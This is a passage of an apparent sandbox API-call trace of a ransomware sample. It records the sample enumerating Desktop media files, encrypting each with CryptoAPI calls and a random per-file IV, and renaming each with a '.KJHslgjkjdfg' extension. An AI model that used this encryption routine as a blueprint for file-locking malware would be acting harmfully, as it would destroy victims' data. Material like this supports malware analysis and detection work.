lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0144.213] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.213] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.213] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.213] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x123f, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0x123f, lpOverlapped=0x0) returned 1 [0144.213] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x1240, dwBufLen=0x1240 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x1240) returned 1 [0144.213] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.213] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0x1240, lpOverlapped=0x0) returned 1 [0144.213] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.213] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x1314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.213] SetEndOfFile (hFile=0xc0) returned 1 [0144.221] GetProcessHeap () returned 0x990000 [0144.221] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0144.221] GetProcessHeap () returned 0x990000 [0144.221] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.221] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ihLqxx84x 5yjg.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ihlqxx84x 5yjg.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ihLqxx84x 5yjg.m4a.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ihlqxx84x 5yjg.m4a.kjhslgjkjdfg")) returned 1 [0144.228] CloseHandle (hObject=0xc0) returned 1 [0144.228] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbafe20, ftCreationTime.dwHighDateTime=0x1d5dc13, ftLastAccessTime.dwLowDateTime=0x8501b150, ftLastAccessTime.dwHighDateTime=0x1d5e06f, ftLastWriteTime.dwLowDateTime=0x8501b150, ftLastWriteTime.dwHighDateTime=0x1d5e06f, nFileSizeHigh=0x0, nFileSizeLow=0x1226f, dwReserved0=0x0, dwReserved1=0xffff, cFileName="IumMfK3z Vk9-oZQz.avi", cAlternateFileName="IUMMFK~1.AVI")) returned 1 [0144.228] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IumMfK3z Vk9-oZQz.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iummfk3z vk9-ozqz.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0144.229] GetProcessHeap () returned 0x990000 [0144.229] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.229] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.229] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0144.229] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfcc0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfcc0*, lpNumberOfBytesWritten=0x29dfc90*=0x1, lpOverlapped=0x0) returned 1 [0144.231] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.231] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.231] GetProcessHeap () returned 0x990000 [0144.232] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x50) returned 0x9b5500 [0144.232] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b5500*, pdwDataLen=0x29dfc78*=0x50, dwBufLen=0x50 | out: pbData=0x9b5500*, pdwDataLen=0x29dfc78*=0x50) returned 1 [0144.232] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.232] WriteFile (in: hFile=0xc0, lpBuffer=0x9b5500*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b5500*, lpNumberOfBytesWritten=0x29dfc90*=0x50, lpOverlapped=0x0) returned 1 [0144.232] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0144.232] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0144.232] WriteFile (in: hFile=0xc0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0144.232] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0144.232] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0144.232] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.232] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.232] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.232] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1226f, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0x1226f, lpOverlapped=0x0) returned 1 [0144.234] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x12270, dwBufLen=0x12270 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x12270) returned 1 [0144.235] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.235] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x12270, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0x12270, lpOverlapped=0x0) returned 1 [0144.235] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.235] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x12354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.235] SetEndOfFile (hFile=0xc0) returned 1 [0144.238] GetProcessHeap () returned 0x990000 [0144.238] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b5500 | out: hHeap=0x990000) returned 1 [0144.238] GetProcessHeap () returned 0x990000 [0144.238] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.239] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IumMfK3z Vk9-oZQz.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iummfk3z vk9-ozqz.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IumMfK3z Vk9-oZQz.avi.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iummfk3z vk9-ozqz.avi.kjhslgjkjdfg")) returned 1 [0144.248] CloseHandle (hObject=0xc0) returned 1 [0144.248] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d3dd810, ftCreationTime.dwHighDateTime=0x1d5e24c, ftLastAccessTime.dwLowDateTime=0xa102fda0, ftLastAccessTime.dwHighDateTime=0x1d5df16, ftLastWriteTime.dwLowDateTime=0xa102fda0, ftLastWriteTime.dwHighDateTime=0x1d5df16, nFileSizeHigh=0x0, nFileSizeLow=0xc101, dwReserved0=0x0, dwReserved1=0xffff, cFileName="jKLa LiEAP2F9X.jpg", cAlternateFileName="JKLALI~1.JPG")) returned 1 [0144.249] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jKLa LiEAP2F9X.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jkla lieap2f9x.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0144.249] GetProcessHeap () returned 0x990000 [0144.249] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.249] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.249] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0144.249] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfcc0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfcc0*, lpNumberOfBytesWritten=0x29dfc90*=0xf, lpOverlapped=0x0) returned 1 [0144.250] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.250] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.250] GetProcessHeap () returned 0x990000 [0144.250] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0144.250] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29dfc78*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29dfc78*=0x40) returned 1 [0144.250] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.250] WriteFile (in: hFile=0xc0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29dfc90*=0x40, lpOverlapped=0x0) returned 1 [0144.250] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0144.250] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0144.251] WriteFile (in: hFile=0xc0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0144.251] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0144.251] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0144.251] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.251] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.251] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.251] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc101, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0xc101, lpOverlapped=0x0) returned 1 [0144.252] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0xc110, dwBufLen=0xc110 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0xc110) returned 1 [0144.253] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.253] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc110, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0xc110, lpOverlapped=0x0) returned 1 [0144.253] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.253] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0xc1e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.253] SetEndOfFile (hFile=0xc0) returned 1 [0144.255] GetProcessHeap () returned 0x990000 [0144.255] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0144.255] GetProcessHeap () returned 0x990000 [0144.255] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.255] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jKLa LiEAP2F9X.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jkla lieap2f9x.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jKLa LiEAP2F9X.jpg.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jkla lieap2f9x.jpg.kjhslgjkjdfg")) returned 1 [0144.260] CloseHandle (hObject=0xc0) returned 1 [0144.260] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6805b450, ftCreationTime.dwHighDateTime=0x1d5da54, ftLastAccessTime.dwLowDateTime=0x1210eb0, ftLastAccessTime.dwHighDateTime=0x1d5e2fb, ftLastWriteTime.dwLowDateTime=0x1210eb0, ftLastWriteTime.dwHighDateTime=0x1d5e2fb, nFileSizeHigh=0x0, nFileSizeLow=0x6efe, dwReserved0=0x0, dwReserved1=0xffff, cFileName="kn 6.m4a", cAlternateFileName="KN6~1.M4A")) returned 1 [0144.260] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kn 6.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kn 6.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0144.260] GetProcessHeap () returned 0x990000 [0144.260] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.261] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.261] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0144.261] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfcc0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfcc0*, lpNumberOfBytesWritten=0x29dfc90*=0x2, lpOverlapped=0x0) returned 1 [0144.265] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.265] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.265] GetProcessHeap () returned 0x990000 [0144.265] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0144.265] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29dfc78*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29dfc78*=0x30) returned 1 [0144.265] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.265] WriteFile (in: hFile=0xc0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29dfc90*=0x30, lpOverlapped=0x0) returned 1 [0144.265] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0144.265] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0144.265] WriteFile (in: hFile=0xc0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0144.265] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0144.265] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0144.266] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.266] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.266] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.266] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6efe, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0x6efe, lpOverlapped=0x0) returned 1 [0144.267] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x6f00, dwBufLen=0x6f00 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x6f00) returned 1 [0144.267] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.267] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6f00, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0x6f00, lpOverlapped=0x0) returned 1 [0144.267] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.268] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x6fc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.268] SetEndOfFile (hFile=0xc0) returned 1 [0144.270] GetProcessHeap () returned 0x990000 [0144.271] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.271] GetProcessHeap () returned 0x990000 [0144.271] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.271] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kn 6.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kn 6.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kn 6.m4a.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kn 6.m4a.kjhslgjkjdfg")) returned 1 [0144.277] CloseHandle (hObject=0xc0) returned 1 [0144.277] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcabb6e10, ftCreationTime.dwHighDateTime=0x1d5df26, ftLastAccessTime.dwLowDateTime=0x9fcc3a60, ftLastAccessTime.dwHighDateTime=0x1d5e28f, ftLastWriteTime.dwLowDateTime=0x9fcc3a60, ftLastWriteTime.dwHighDateTime=0x1d5e28f, nFileSizeHigh=0x0, nFileSizeLow=0x7de6, dwReserved0=0x0, dwReserved1=0xffff, cFileName="KvvapOYqE2NFT.wav", cAlternateFileName="KVVAPO~1.WAV")) returned 1 [0144.277] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KvvapOYqE2NFT.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kvvapoyqe2nft.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0144.277] GetProcessHeap () returned 0x990000 [0144.277] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.277] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.277] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0144.277] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfcc0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfcc0*, lpNumberOfBytesWritten=0x29dfc90*=0xa, lpOverlapped=0x0) returned 1 [0144.279] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.280] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.280] GetProcessHeap () returned 0x990000 [0144.280] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0144.280] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29dfc78*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29dfc78*=0x40) returned 1 [0144.280] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.280] WriteFile (in: hFile=0xc0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29dfc90*=0x40, lpOverlapped=0x0) returned 1 [0144.280] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0144.280] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0144.280] WriteFile (in: hFile=0xc0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0144.280] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0144.281] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0144.281] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.281] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.281] 